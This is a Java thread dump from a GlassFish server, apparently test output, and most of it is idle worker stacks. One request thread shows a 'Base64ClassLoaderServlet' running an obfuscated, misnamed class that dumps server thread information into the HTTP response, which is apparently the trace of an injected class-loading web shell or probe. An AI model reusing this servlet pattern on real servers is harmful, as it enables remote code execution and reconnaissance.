+ThreadStacks: +"pool-21-thread-1" #98 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@c833cd3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-8" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fdb51e5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:144) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:123) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@51f8f1e6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"Thread-26" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18ef557e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2(5)" #47 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@23944d1f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"pool-6-thread-1" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@33c41798 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #94 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1801) + at java.lang.Thread.run(Thread.java:748) + +"deployment-jar-scanner" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@11c630bb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2-expirer(1)" #48 daemon [TIMED_WAITING] on java.lang.Object@4132b4e2 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:172) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"SCR Component Actor" #78 daemon [WAITING] on java.util.LinkedList@1f01dcf3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:74) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1-kernel(1) SelectorRunner" #34 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:113) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:339) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:279) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:591) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"AutoDeployer" #59 daemon [TIMED_WAITING] on java.util.TaskQueue@4f826651 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"deployment-jar-scanner" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@11c630bb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-8-thread-1" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@667865ec + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-24-thread-1" #101 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@c833cd3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837795239" #18 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@1b3e5bcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"fileinstall-/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/bundles/" #76 daemon [TIMED_WAITING] on org.apache.felix.fileinstall.internal.DirectoryWatcher@57914486 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:268) + +"Configuration Updater" #70 daemon [WAITING] on java.util.LinkedList@5e3cd6c8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:67) + +"pool-19-thread-1" #96 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@68af2cf2 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"DynamicReloader" #61 daemon [TIMED_WAITING] on java.util.TaskQueue@33c3d252 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"admin-listener-kernel(1) SelectorRunner" #56 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:113) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:339) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:279) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:591) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"pool-18-thread-1" #95 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@68af2cf2 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-17-thread-1" #91 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@c833cd3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837795241" #19 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@1b3e5bcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #92 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1801) + at java.lang.Thread.run(Thread.java:748) + +"RMI Reaper" #67 [WAITING] on java.lang.ref.ReferenceQueue$Lock@7edf765c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2(3)" #45 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@23944d1f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1(1)" #28 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@7b448cd5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1(5)" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1610) + at com.google.gso.hjIkv.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:322) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1682) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:344) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:214) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:256) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:214) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:316) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:160) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:734) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:673) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:99) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:174) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:416) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:283) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:459) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:167) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:206) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:180) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:235) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:119) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:283) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:200) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:132) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:111) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:77) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:536) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:112) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:117) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.access$100(WorkerThreadIOStrategy.java:56) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:137) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:591) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"pool-22-thread-1" #99 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@c833cd3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-20-thread-1" #97 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@68af2cf2 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-12-thread-1" #42 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f28cb30 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RMI TCP Connection(1)-192.168.215.4" #71 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$15/991041905.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837795241" #20 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@1b3e5bcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Timer-0" #16 daemon [WAITING] on java.util.TaskQueue@2bbc4bb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"admin-listener(1)" #50 daemon [WAITING] on java.lang.Object@1d5ee9f6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"pool-2-thread-1" #25 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@68af2cf2 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-3-thread-1" #26 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@68af2cf2 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-11-thread-1" #41 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@c833cd3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at 